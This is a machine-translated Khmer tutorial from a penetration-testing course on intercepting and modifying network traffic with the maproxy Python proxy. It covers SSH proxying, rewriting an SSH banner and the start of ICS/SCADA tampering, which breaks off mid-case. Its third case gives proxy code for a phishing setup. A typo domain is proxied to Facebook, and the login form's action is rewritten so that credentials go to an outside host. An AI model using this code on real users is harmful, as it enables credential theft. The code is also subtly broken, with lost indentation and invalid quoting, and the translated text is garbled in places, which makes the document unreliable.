αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž‘αž·αž“αŸ’αž“αž“αŸαž™αž”αžŽαŸ’αžαžΆαž‰αž—αŸ’αž›αžΆαž˜αŸ—

αž€αžΆαžšαž”αž€αž”αŸ’αžšαŸ‚αž’αžαŸ’αžαž”αž‘αžαŸ’αžšαžΌαžœαž”αžΆαž“αžšαŸ€αž”αž…αŸ†αž“αŸ…αž˜αž»αž“αžαŸ’αž„αŸƒαž…αžΆαž”αŸ‹αž•αŸ’αžαžΎαž˜αž“αŸƒαžœαž‚αŸ’αž‚αžŸαž·αž€αŸ’αžŸαžΆ "Pentest αŸ” αž€αžΆαžšαž’αž“αž»αžœαžαŸ’αžαž€αžΆαžšαž’αŸ’αžœαžΎαžαŸαžŸαŸ’αžαž€αžΆαžšαž‡αŸ’αžšαŸ€αžαž…αžΌαž›".

αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž‘αž·αž“αŸ’αž“αž“αŸαž™αž”αžŽαŸ’αžαžΆαž‰αž—αŸ’αž›αžΆαž˜αŸ—

αž’αžšαžΌαž”αžΈ

αž—αžΆαž–αžαž»αžŸαž‚αŸ’αž“αžΆαž“αŸƒαž”αŸ’αžšαž—αŸαž‘αž“αŸƒαž€αžΆαžšαžœαžΆαž™αžαž˜αŸ’αž›αŸƒαžŸαž»αžœαžαŸ’αžαž·αž—αžΆαž– αžšαžΆαž”αŸ‹αž…αžΆαž”αŸ‹αž–αžΈαž€αžΆαžšαž’αŸ’αžœαžΎαžαŸαžŸαŸ’αžαž€αžΆαžšαž‡αŸ’αžšαŸ€αžαž…αžΌαž›αž‡αžΆαž”αŸ’αžšαž…αžΆαŸ† αž“αž·αž„αž”αŸ’αžšαžαž·αž”αžαŸ’αžαž·αž€αžΆαžšαž€αŸ’αžšαž»αž˜αž€αŸ’αžšαž αž˜ αžšαž αžΌαžαžŠαž›αŸ‹αž€αžΆαžšαž›αž½αž…αž…αžΌαž›αž§αž”αž€αžšαžŽαŸ IoT/ICS αž“αž·αž„ SCADA αž–αžΆαž€αŸ‹αž–αŸαž“αŸ’αž’αž“αžΉαž„αž€αžΆαžšαž’αŸ’αžœαžΎαž€αžΆαžšαž‡αžΆαž˜αž½αž™αž”αžŽαŸ’αžαžΆαž‰αž”αŸ’αžšαž–αŸαž“αŸ’αž’αž‚αŸ„αž›αž–αžΈαžš αžŠαŸ‚αž›αž‡αžΆαž€αžΆαžšαžŸαŸ’αž‘αžΆαž€αŸ‹αž…αžΆαž”αŸ‹ αž“αž·αž„αž€αŸ‚αž”αŸ’αžšαŸ‚αž‘αž·αž“αŸ’αž“αž“αŸαž™αž”αžŽαŸ’αžαžΆαž‰αžŸαŸ†αžαžΆαž“αŸ‹αŸ—αžšαžœαžΆαž„αž’αžαž·αžαž·αž‡αž“ αž“αž·αž„αž‚αŸ„αž›αžŠαŸ…αŸ” Sniffing network traffic αž˜αž·αž“αž˜αŸ‚αž“αž‡αžΆαž€αžΆαžšαž„αžΆαžšαž–αž·αž”αžΆαž€αž‘αŸ αž–αŸ’αžšαŸ„αŸ‡αž™αžΎαž„αž˜αžΆαž“αž§αž”αž€αžšαžŽαŸαžŠαžΌαž…αž‡αžΆ Wireshark, Tcpdump ឬ Scapy αž”αŸ‰αž»αž“αŸ’αžαŸ‚αž€αžΆαžšαž€αŸ‚αž”αŸ’αžšαŸ‚αž αžΆαž€αŸ‹αžŠαžΌαž…αž‡αžΆαž€αžΆαžšαž„αžΆαžšαžŠαŸ‚αž›αž–αžΉαž„αž•αŸ’αž’αŸ‚αž€αž›αžΎαž€αž˜αŸ’αž›αžΆαŸ†αž„αž–αž›αž€αž˜αŸ’αž˜αž…αŸ’αžšαžΎαž“αž‡αžΆαž„ αž–αŸ’αžšαŸ„αŸ‡αž™αžΎαž„αž“αžΉαž„αžαŸ’αžšαžΌαžœαž˜αžΆαž“αž…αŸ†αžŽαž»αž…αž”αŸ’αžšαž‘αžΆαž€αŸ‹αž”αŸ’αžšαž—αŸαž‘αž˜αž½αž™αž…αŸ†αž“αž½αž“αžŠαžΎαž˜αŸ’αž”αžΈαž’αžΆαž“αž‘αž·αž“αŸ’αž“αž“αŸαž™αž”αžŽαŸ’αžαžΆαž‰ αžαŸ’αžšαž„αžœαžΆ αž•αŸ’αž›αžΆαžŸαŸ‹αž”αŸ’αžαžΌαžšαŸ” αžœαžΆαž—αŸ’αž›αžΆαž˜αŸ— αž αžΎαž™αž”αž‰αŸ’αž‡αžΌαž“αžœαžΆαžαŸ’αžšαž‘αž”αŸ‹αž‘αŸ…αž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αž‚αŸ„αž›αžŠαŸ…αžœαž·αž‰αž€αŸ’αž“αž»αž„αžšαž™αŸˆαž–αŸαž›αžŸαŸ’αž‘αžΎαžšαžαŸ‚αž–αž·αžαž”αŸ’αžšαžΆαž€αžŠαŸ” αž›αžΎαžŸαž–αžΈαž“αŸαŸ‡αž‘αŸ€αž αžœαžΆαž“αžΉαž„αž‡αžΆαž€αžΆαžšαž›αŸ’αž’αž”αŸ’αžšαžŸαž·αž“αž”αžΎαž§αž”αž€αžšαžŽαŸαž”αŸ‚αž”αž“αŸαŸ‡αž’αžΆαž…αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαžŠαŸ„αž™αžŸαŸ’αžœαŸαž™αž”αŸ’αžšαžœαžαŸ’αžαž·αž‡αžΆαž˜αž½αž™αž“αžΉαž„αž€αžΆαžšαžαž—αŸ’αž‡αžΆαž”αŸ‹αž”αŸ‰αžΆαžšαŸ‰αžΆαž‘αŸ‚αž›αž…αŸ’αžšαžΎαž“ αž αžΎαž™αž’αžΆαž…αž”αŸ’αžŠαžΌαžšαžαžΆαž˜αž”αŸ†αžŽαž„αžŠαŸ„αž™αž”αŸ’αžšαžΎαžŸαŸ’αž‚αŸ’αžšαžΈαž”αŸ”

αžαŸ’αž„αŸƒαž˜αž½αž™αžαŸ’αž‰αž»αŸ†αž”αžΆαž“αžšαž€αžƒαžΎαž‰αž§αž”αž€αžšαžŽαŸαž˜αž½αž™αžŠαŸ‚αž›αž˜αžΆαž“αžˆαŸ’αž˜αŸ„αŸ‡αžαžΆ maproxyαž―αž€αžŸαžΆαžšαž“αŸ„αŸ‡αž”αžΆαž“αž’αŸ’αžœαžΎαž±αŸ’αž™αžαŸ’αž‰αž»αŸ†αž…αŸ’αž”αžΆαžŸαŸ‹αž™αŸ‰αžΆαž„αžšαž αŸαžŸ maproxy - αž‚αŸ’αžšαžΆαž“αŸ‹αžαŸ‚αž‡αžΆαž’αŸ’αžœαžΈαžŠαŸ‚αž›αžαŸ’αž‰αž»αŸ†αžαŸ’αžšαžΌαžœαž€αžΆαžšαŸ” αž“αŸαŸ‡αž‚αžΊαž‡αžΆαž”αŸ’αžšαžΌαž€αžŸαŸŠαžΈ TCP αžŠαŸαžŸαžΆαž˜αž‰αŸ’αž‰ αž›αŸ’αž’αž”αŸ’αžšαžΎ αž“αž·αž„αž’αžΆαž…αž€αŸ†αžŽαžαŸ‹αžšαž…αž“αžΆαžŸαž˜αŸ’αž–αŸαž“αŸ’αž’αž”αžΆαž“αž™αŸ‰αžΆαž„αž„αžΆαž™αžŸαŸ’αžšαž½αž›αŸ” αžαŸ’αž‰αž»αŸ†αž”αžΆαž“αžŸαžΆαž€αž›αŸ’αž”αž„αž§αž”αž€αžšαžŽαŸαž“αŸαŸ‡αž“αŸ…αž›αžΎαž€αž˜αŸ’αž˜αžœαž·αž’αžΈαžŸαŸ’αž˜αž»αž‚αŸ’αžšαžŸαŸ’αž˜αžΆαž‰αž‡αžΆαž…αŸ’αžšαžΎαž“ αžšαž½αž˜αž‘αžΆαŸ†αž„αž§αž”αž€αžšαžŽαŸ ICS (αžŠαŸ‚αž›αž”αž„αŸ’αž€αžΎαžαž€αž‰αŸ’αž…αž”αŸ‹αž–αŸαžαŸŒαž˜αžΆαž“αž‡αžΆαž…αŸ’αžšαžΎαž“) αžŠαžΎαž˜αŸ’αž”αžΈαž˜αžΎαž›αžαžΆαžαžΎαžœαžΆαž’αžΆαž…αž‚αŸ’αžšαž”αŸ‹αž‚αŸ’αžšαž„αž€αžΆαžšαžαž—αŸ’αž‡αžΆαž”αŸ‹αž”αŸ‰αžΆαžšαŸ‰αžΆαž‘αŸ‚αž›αž‡αžΆαž…αŸ’αžšαžΎαž“ αž αžΎαž™αž§αž”αž€αžšαžŽαŸαžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž”αžΆαž“αž›αŸ’αž’αžŠαŸ‚αžšαž¬αž‘αŸαŸ”

αž’αžαŸ’αžαž”αž‘αž“αŸαŸ‡αž“αžΉαž„αžŽαŸ‚αž“αžΆαŸ†αž’αŸ’αž“αž€αž±αŸ’αž™αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž‘αž·αž“αŸ’αž“αž“αŸαž™αž”αžŽαŸ’αžαžΆαž‰αž—αŸ’αž›αžΆαž˜αŸ—αžŠαŸ„αž™αž”αŸ’αžšαžΎ maproxy.

αž‘αž·αžŠαŸ’αž‹αž—αžΆαž–αž‘αžΌαž‘αŸ…

αž§αž”αž€αžšαžŽαŸ maproxy αž‚αžΊαž•αŸ’αž’αŸ‚αž€αž›αžΎ Tornado αžŠαŸ‚αž›αž‡αžΆαž€αŸ’αžšαž”αžαŸαžŽαŸ’αžŒαž”αžŽαŸ’αžαžΆαž‰αž’αžŸαž˜αž€αžΆαž›αžŠαŸαž–αŸαž‰αž“αž·αž™αž˜ αž“αž·αž„αž…αžΆαžŸαŸ‹αž‘αž»αŸ†αž“αŸ…αž€αŸ’αž“αž»αž„ Python αŸ”

αž‡αžΆαž‘αžΌαž‘αŸ… αžœαžΆαž’αžΆαž…αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž€αŸ’αž“αž»αž„αžšαž”αŸ€αž”αž‡αžΆαž…αŸ’αžšαžΎαž“αŸ–

  • TCP:TCP - αž€αžΆαžšαžαž—αŸ’αž‡αžΆαž”αŸ‹ TCP αžŠαŸ‚αž›αž˜αž·αž“αž”αžΆαž“αž’αŸŠαž·αž“αž‚αŸ’αžšαžΈαž”;
  • TCP:SSL ΠΈ SSL:TCP - αž‡αžΆαž˜αž½αž™αž“αžΉαž„αž€αžΆαžšαž’αŸŠαž·αž“αž‚αŸ’αžšαžΈαž”αž•αŸ’αž›αžΌαžœαž˜αž½αž™;
  • SSL:SSL - αž€αžΆαžšαž’αŸŠαž·αž“αž‚αŸ’αžšαžΈαž”αž–αžΈαžšαž•αŸ’αž›αžΌαžœαŸ”

αžœαžΆαž˜αž€αž‡αžΆαž”αžŽαŸ’αžŽαžΆαž›αŸαž™αŸ” αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž€αžΆαžšαž…αžΆαž”αŸ‹αž•αŸ’αžαžΎαž˜αžšαž αŸαžŸ αž’αŸ’αž“αž€αž’αžΆαž…αž”αŸ’αžšαžΎαž―αž€αžŸαžΆαžšαž§αž‘αžΆαž αžšαžŽαŸαžŠαŸ‚αž›αž†αŸ’αž›αž»αŸ‡αž”αž‰αŸ’αž…αžΆαŸ†αž„αž–αžΈαž˜αŸ αž˜αž»αžαž„αžΆαžšαž”αžŽαŸ’αžŽαžΆαž›αŸαž™:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

αž€αžšαžŽαžΈαž‘αžΈ 1 - αž”αŸ’αžšαžΌαž€αžŸαŸŠαžΈαž‘αŸ’αžœαŸαž‘αž·αžŸαžŸαžΆαž˜αž‰αŸ’αž‰

αž’αžΆαžŸαŸ’αžšαŸαž™β€‹αž›αžΎ tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

αžαžΆαž˜αž›αŸ†αž“αžΆαŸ†αžŠαžΎαž˜ ProxyServer() αž™αž€αž’αžΆαž‚αž»αž™αž˜αŸ‰αž„αŸ‹αž–αžΈαžš - αž‘αžΈαžαžΆαŸ†αž„αžαž—αŸ’αž‡αžΆαž”αŸ‹ αž“αž·αž„αž…αŸ’αžšαž€αž‚αŸ„αž›αžŠαŸ…αŸ” server.listen() αž™αž€αž’αžΆαž‚αž»αž™αž˜αŸ‰αž„αŸ‹αž˜αž½αž™ - αž…αŸ’αžšαž€αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αžŸαŸ’αžαžΆαž”αŸ‹αž€αžΆαžšαž—αŸ’αž‡αžΆαž”αŸ‹αž…αžΌαž›αŸ”

αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαžŸαŸ’αž‚αŸ’αžšαžΈαž”αŸ–

# python tcp2tcp.py

αžŠαžΎαž˜αŸ’αž”αžΈαžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž€αžΆαžšαžŸαžΆαž€αž›αŸ’αž”αž„ αž™αžΎαž„αž“αžΉαž„αž—αŸ’αž‡αžΆαž”αŸ‹αž‘αŸ…αž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αž˜αŸ SSH αž˜αžΌαž›αžŠαŸ’αž‹αžΆαž“αžαžΆαž˜αžšαž™αŸˆαžŸαŸ’αž‚αŸ’αžšαžΈαž”αž”αŸ’αžšαžΌαž€αžŸαŸŠαžΈαžšαž”αžŸαŸ‹αž™αžΎαž„ αžŠαŸ‚αž›αžŸαŸ’αžαžΆαž”αŸ‹αž“αŸ…αž›αžΎ 2222/tcp αž…αŸ’αžšαž€αž“αž·αž„αž—αŸ’αž‡αžΆαž”αŸ‹αž‘αŸ…αž…αŸ’αžšαž€αžŸαŸ’αžαž„αŸ‹αžŠαžΆαžš 22/tcp αž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αž˜αŸ SSHαŸ–

αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž‘αž·αž“αŸ’αž“αž“αŸαž™αž”αžŽαŸ’αžαžΆαž‰αž—αŸ’αž›αžΆαž˜αŸ—

αž•αŸ’αž‘αžΆαŸ†αž„αž”αžŠαžΆαžŸαŸ’αžœαžΆαž‚αž˜αž“αŸ αž‡αžΌαž“αžŠαŸ†αžŽαžΉαž„αžŠαž›αŸ‹αž’αŸ’αž“αž€αžαžΆ αžŸαŸ’αž‚αŸ’αžšαžΈαž”αž§αž‘αžΆαž αžšαžŽαŸαžšαž”αžŸαŸ‹αž™αžΎαž„αž”αžΆαž“αž”αŸ’αžšαžΌαž€αžŸαŸŠαžΈαž…αžšαžΆαž…αžšαž”αžŽαŸ’αžαžΆαž‰αžŠαŸ„αž™αž‡αŸ„αž‚αž‡αŸαž™αŸ”

αž€αžšαžŽαžΈαž‘αžΈ 2 - αž€αžΆαžšαž€αŸ‚αž”αŸ’αžšαŸ‚αž‘αž·αž“αŸ’αž“αž“αŸαž™

αžŸαŸ’αž‚αŸ’αžšαžΈαž”αžŸαžΆαž€αž›αŸ’αž”αž„αž˜αž½αž™αž‘αŸ€αž logging_proxy.py αž›αŸ’αž’αž”αŸ†αž•αž»αžαžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž’αž“αŸ’αžαžšαž€αž˜αŸ’αž˜αž‡αžΆαž˜αž½αž™αž‘αž·αž“αŸ’αž“αž“αŸαž™αž”αžŽαŸ’αžαžΆαž‰αŸ” αž˜αžαž·αž™αŸ„αž”αž›αŸ‹αž“αŸ…αž€αŸ’αž“αž»αž„αž―αž€αžŸαžΆαžšαž–αž·αž–αžŽαŸŒαž“αžΆαž’αŸ†αž–αžΈαžœαž·αž’αžΈαžŸαžΆαžŸαŸ’αžšαŸ’αžαžαŸ’αž“αžΆαž€αŸ‹ αžŠαŸ‚αž›αž’αŸ’αž“αž€αž’αžΆαž…αž€αŸ‚αž”αŸ’αžšαŸ‚αžŠαžΎαž˜αŸ’αž”αžΈαžŸαž˜αŸ’αžšαŸαž…αž”αžΆαž“αž“αžΌαžœαž‚αŸ„αž›αžŠαŸ…αžšαž”αžŸαŸ‹αž’αŸ’αž“αž€αŸ–

αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž‘αž·αž“αŸ’αž“αž“αŸαž™αž”αžŽαŸ’αžαžΆαž‰αž—αŸ’αž›αžΆαž˜αŸ—

αž’αŸ’αžœαžΈαžŠαŸ‚αž›αž‚αž½αžšαž±αŸ’αž™αž…αžΆαž”αŸ‹αž’αžΆαžšαž˜αŸ’αž˜αžŽαŸαž”αŸ†αž•αž»αžαž‚αžΊαž“αŸ…αž‘αžΈαž“αŸαŸ‡αŸ–

  • on_c2p_done_read - αžŸαŸ’αž‘αžΆαž€αŸ‹αž…αžΆαž”αŸ‹αž‘αž·αž“αŸ’αž“αž“αŸαž™αž–αžΈαž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αž—αŸ’αž‰αŸ€αžœαž‘αŸ…αž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αž˜αŸαŸ”
  • on_p2s_done_read - αž”αž‰αŸ’αž…αŸ’αžšαžΆαžŸαŸ”

αžαŸ„αŸ‡αž–αŸ’αž™αžΆαž™αžΆαž˜αž•αŸ’αž›αžΆαžŸαŸ‹αž”αŸ’αžαžΌαžšαž”αžŠαžΆ SSH αžŠαŸ‚αž›αž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αž˜αŸαžαŸ’αžšαž‘αž”αŸ‹αž‘αŸ…αž’αžαž·αžαž·αž‡αž“αžœαž·αž‰αŸ–

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

αž”αŸ’αžšαžαž·αž”αžαŸ’αžαž·αžŸαŸ’αž‚αŸ’αžšαžΈαž”αŸ–

αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž‘αž·αž“αŸ’αž“αž“αŸαž™αž”αžŽαŸ’αžαžΆαž‰αž—αŸ’αž›αžΆαž˜αŸ—

αžŠαžΌαž…αžŠαŸ‚αž›αž’αŸ’αž“αž€αž’αžΆαž…αžƒαžΎαž‰αž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αž—αŸ’αž‰αŸ€αžœαžαŸ’αžšαžΌαžœαž”αžΆαž“αž‚αŸαž™αž›αŸ‹αž…αŸ’αžšαž‘αŸ†αžŠαŸ„αž™αžŸαžΆαžšαžαŸ‚αžˆαŸ’αž˜αŸ„αŸ‡αž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αž˜αŸ SSH αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž‚αžΆαžαŸ‹αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžαžΌαžšαž‘αŸ… Β«DumnySSHΒ».

αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž‘αž·αž“αŸ’αž“αž“αŸαž™αž”αžŽαŸ’αžαžΆαž‰αž—αŸ’αž›αžΆαž˜αŸ—

αž€αžšαžŽαžΈαž‘αžΈ 3 - αž‚αŸαž αž‘αŸ†αž–αŸαžšαž”αž“αŸ’αž›αŸ†αžŸαžΆαž˜αž‰αŸ’αž‰

αž˜αžΆαž“αžœαž·αž’αžΈαž˜αž·αž“αž…αŸαŸ‡αž…αž”αŸ‹αžŠαžΎαž˜αŸ’αž”αžΈαž”αŸ’αžšαžΎαž§αž”αž€αžšαžŽαŸαž“αŸαŸ‡αŸ” αž›αžΎαž€αž“αŸαŸ‡αžŸαžΌαž˜αž•αŸ’αžαŸ„αžαž›αžΎαž’αŸ’αžœαžΈαžŠαŸ‚αž›αž‡αžΆαž€αŸ‹αžŸαŸ’αžαŸ‚αž„αž”αž“αŸ’αžαŸ‚αž˜αž‘αŸ€αžαž–αžΈαž•αŸ’αž“αŸ‚αž€αž”αŸ’αžšαžαž·αž”αžαŸ’αžαž·αž€αžΆαžšαž€αŸ’αžšαž»αž˜αž€αŸ’αžšαž αž˜αŸ” αžαŸ„αŸ‡αž’αŸ’αžœαžΎαžαŸ’αžšαžΆαž”αŸ‹αžαžΆαž˜αž‘αŸ†αž–αŸαžšαž…αž»αŸ‡αž…αž m.facebook.com αž αžΎαž™αž”αŸ’αžšαžΎαžŠαŸ‚αž“αž•αŸ’αž‘αžΆαž›αŸ‹αžαŸ’αž›αž½αž“αž‡αžΆαž˜αž½αž™αž€αžΆαžšαžœαžΆαž™αž’αž€αŸ’αžŸαžšαžŠαŸ„αž™αž…αŸαžαž“αžΆ αž‡αžΆαž§αž‘αžΆαž αžšαžŽαŸ m.facebok.com. αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž‚αŸ„αž›αž”αŸ†αžŽαž„αž’αŸ’αžœαžΎαž”αžΆαžαž»αž€αž˜αŸ’αž˜ αžŸαžΌαž˜αžŸαž“αŸ’αž˜αžαžαžΆαžŠαŸ‚αž“αžαŸ’αžšαžΌαžœαž”αžΆαž“αž…αž»αŸ‡αžˆαŸ’αž˜αŸ„αŸ‡αžŠαŸ„αž™αž–αž½αž€αž™αžΎαž„αŸ”

αž™αžΎαž„β€‹αž“αžΉαž„β€‹αž”αž„αŸ’αž€αžΎαžβ€‹αž€αžΆαžšβ€‹αžαž—αŸ’αž‡αžΆαž”αŸ‹β€‹αž”αžŽαŸ’αžαžΆαž‰β€‹αžŠαŸ‚αž›β€‹αž˜αž·αž“β€‹αž”αžΆαž“β€‹αž’αŸŠαž·αž“αž‚αŸ’αžšαžΈαž”β€‹αž‡αžΆαž˜αž½αž™β€‹αž”αŸ’αžšαžΌαž€αžŸαŸŠαžΈβ€‹αž‡αž“αžšαž„αž‚αŸ’αžšαŸ„αŸ‡β€‹αžšαž”αžŸαŸ‹β€‹αž™αžΎαž„ αž“αž·αž„ SSL Stream αž‘αŸ…αž€αžΆαž“αŸ‹β€‹αž˜αŸ‰αžΆαžŸαŸŠαžΈαž“β€‹αž˜αŸ Facebook (31.13.81.36) αžŠαžΎαž˜αŸ’αž”αžΈαž’αŸ’αžœαžΎαž±αŸ’αž™αž§αž‘αžΆαž αžšαžŽαŸαž“αŸαŸ‡αžŠαŸ†αžŽαžΎαžšαž€αžΆαžš αž™αžΎαž„αžαŸ’αžšαžΌαžœαž‡αŸ†αž“αž½αžŸαž”αž‹αž˜αž€αžαžΆ HTTP αž“αž·αž„αž”αž‰αŸ’αž…αžΌαž›αžˆαŸ’αž˜αŸ„αŸ‡αž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αžαŸ’αžšαžΉαž˜αžαŸ’αžšαžΌαžœ αž αžΎαž™αž™αžΎαž„αž€αŸαž“αžΉαž„αž”αž·αž‘αž€αžΆαžšαž”αž„αŸ’αž αžΆαž”αŸ‹αž€αžΆαžšαž†αŸ’αž›αžΎαž™αžαž”αž•αž„αžŠαŸ‚αžš αžŠαžΌαž…αŸ’αž“αŸαŸ‡αž™αžΎαž„αž’αžΆαž…αž…αžΌαž›αž”αŸ’αžšαžΎαž˜αžΆαžαž·αž€αžΆαž”αžΆαž“αž™αŸ‰αžΆαž„αž„αžΆαž™αžŸαŸ’αžšαž½αž›αŸ” αž‘αžΈαž”αŸ†αž•αž»αž αž™αžΎαž„αž“αžΉαž„αž‡αŸ†αž“αž½αžŸαž‘αž˜αŸ’αžšαž„αŸ‹ HTML αžŠαžΎαž˜αŸ’αž”αžΈαž±αŸ’αž™αž›αž·αžαž·αžαžŸαž˜αŸ’αž‚αžΆαž›αŸ‹αž€αžΆαžšαž…αžΌαž›αžαŸ’αžšαžΌαžœαž”αžΆαž“αž•αŸ’αž‰αžΎαž˜αž€αž™αžΎαž„αž‡αŸ†αž“αž½αžŸαž±αŸ’αž™αž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αž˜αŸαžšαž”αžŸαŸ‹ FacebookαŸ–

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/km/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

αžŸαž„αŸ’αžαŸαž”αŸ–

αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž‘αž·αž“αŸ’αž“αž“αŸαž™αž”αžŽαŸ’αžαžΆαž‰αž—αŸ’αž›αžΆαž˜αŸ—

αžŠαžΌαž…αžŠαŸ‚αž›αž’αŸ’αž“αž€αž’αžΆαž…αžƒαžΎαž‰ αž™αžΎαž„αž’αžΆαž…αž‡αŸ†αž“αž½αžŸαž‚αŸαž αž‘αŸ†αž–αŸαžšαžŠαžΎαž˜αž”αžΆαž“αžŠαŸ„αž™αž‡αŸ„αž‚αž‡αŸαž™αŸ”

αž€αžšαžŽαžΈαž‘αžΈ 4 - αž…αŸ’αžšαž€αž’αŸŠαžΈαžŸαžΊαžšαžŽαž·αž / IP

αžαŸ’αž‰αž»αŸ†αž”αžΆαž“αžŠαŸ„αŸ‡αžŸαŸ’αžšαžΆαž™αž‡αžΆαž˜αž½αž™αž§αž”αž€αžšαžŽαŸαž§αžŸαŸ’αžŸαžΆαž αž€αž˜αŸ’αž˜ αž“αž·αž„αžŸαžΌαž αŸ’αžœαžœαŸ‚αžš (ICS/SCADA) αž’αžŸαŸ‹αž˜αž½αž™αžšαž™αŸˆαž˜αž€αž αžΎαž™ αžŠαžΌαž…αž‡αžΆαž§αž”αž€αžšαžŽαŸαž”αž‰αŸ’αž‡αžΆαžŠαŸ‚αž›αž’αžΆαž…αžŸαžšαžŸαŸαžšαž€αž˜αŸ’αž˜αžœαž·αž’αžΈαž”αžΆαž“ (PLC), αž˜αŸ‰αžΌαžŒαž»αž› I/O, αžŠαŸ’αžšαžΆαž™, αž€αžΆαžšαž”αž‰αŸ’αž‡αžΌαž“αž, αž”αžšαž·αž™αžΆαž€αžΆαžŸαžŸαžšαžŸαŸαžšαž€αž˜αŸ’αž˜αžœαž·αž’αžΈαž‡αžŽαŸ’αžαžΎαžš αž“αž·αž„αž’αŸ’αžœαžΈαŸ—αž‡αžΆαž…αŸ’αžšαžΎαž“αž‘αŸ€αžαŸ” αž€αžšαžŽαžΈαž“αŸαŸ‡αž‚αžΊαžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž’αŸ’αž“αž€αžŠαŸ‚αž›αž…αžΌαž›αž…αž·αžαŸ’αžαžœαžαŸ’αžαž»αž§αžŸαŸ’αžŸαžΆαž αž€αž˜αŸ’αž˜αŸ” αž€αžΆαžšαž›αž½αž…αž™αž€αžŠαŸ†αžŽαŸ„αŸ‡αžŸαŸ’αžšαžΆαž™αž”αŸ‚αž”αž“αŸαŸ‡αž–αžΆαž€αŸ‹αž–αŸαž“αŸ’αž’αž“αžΉαž„αž€αžΆαžšαž›αŸαž„αž™αŸ‰αžΆαž„αžŸαž€αž˜αŸ’αž˜αž‡αžΆαž˜αž½αž™αž“αžΉαž„αž–αž·αž’αžΈαž€αžΆαžšαž”αžŽαŸ’αžαžΆαž‰αŸ” αž€αŸ’αž“αž»αž„αž§αž‘αžΆαž αžšαžŽαŸαžαžΆαž„αž€αŸ’αžšαŸ„αž˜ αžαŸ’αž‰αž»αŸ†αž…αž„αŸ‹αž”αž„αŸ’αž αžΆαž‰αž–αžΈαžšαž”αŸ€αž”αžŠαŸ‚αž›αž’αŸ’αž“αž€αž’αžΆαž…αž€αŸ‚αž”αŸ’αžšαŸ‚αž…αžšαžΆαž…αžšαžŽαŸαž”αžŽαŸ’αžαžΆαž‰ ICS/SCADAαŸ”

αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž€αžΆαžšαž“αŸαŸ‡αž’αŸ’αž“αž€αž“αžΉαž„αžαŸ’αžšαžΌαžœαž€αžΆαžšαžŠαžΌαž…αžαžΆαž„αž€αŸ’αžšαŸ„αž˜:

  • αž”αžŽαŸ’αžαžΆαž‰ sniffer αž§αž‘αžΆαž αžšαžŽαŸ Wireshark;
  • ធ៊ីសឺរណិត / IP αž¬αž‚αŸ’αžšαžΆαž“αŸ‹αžαŸ‚αž‡αžΆαž§αž”αž€αžšαžŽαŸ SIP αž’αŸ’αž“αž€αž’αžΆαž…αžŸαŸ’αžœαŸ‚αž„αžšαž€αžœαžΆαžŠαŸ„αž™αž”αŸ’αžšαžΎαžŸαŸαžœαžΆαž€αž˜αŸ’αž˜ Shodan αŸ”
  • αžŸαŸ’αž‚αŸ’αžšαžΈαž”αžšαž”αžŸαŸ‹αž™αžΎαž„αž‚αžΊαž•αŸ’αž’αŸ‚αž€αž›αžΎ maproxy.

αž‡αžΆαžŠαŸ†αž”αžΌαž„ αžŸαžΌαž˜αž€αŸ’αžšαž‘αŸαž€αž˜αžΎαž›αž’αŸ’αžœαžΈαžŠαŸ‚αž›αž€αžΆαžšαž†αŸ’αž›αžΎαž™αžαž”αž€αŸ†αžŽαžαŸ‹αž’αžαŸ’αžαžŸαž‰αŸ’αž‰αžΆαžŽαž’αž˜αŸ’αž˜αžαžΆαž–αžΈ CIP (Common Industrial Protocol) αž˜αžΎαž›αž‘αŸ…αžŠαžΌαž…αŸ–

αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž‘αž·αž“αŸ’αž“αž“αŸαž™αž”αžŽαŸ’αžαžΆαž‰αž—αŸ’αž›αžΆαž˜αŸ—

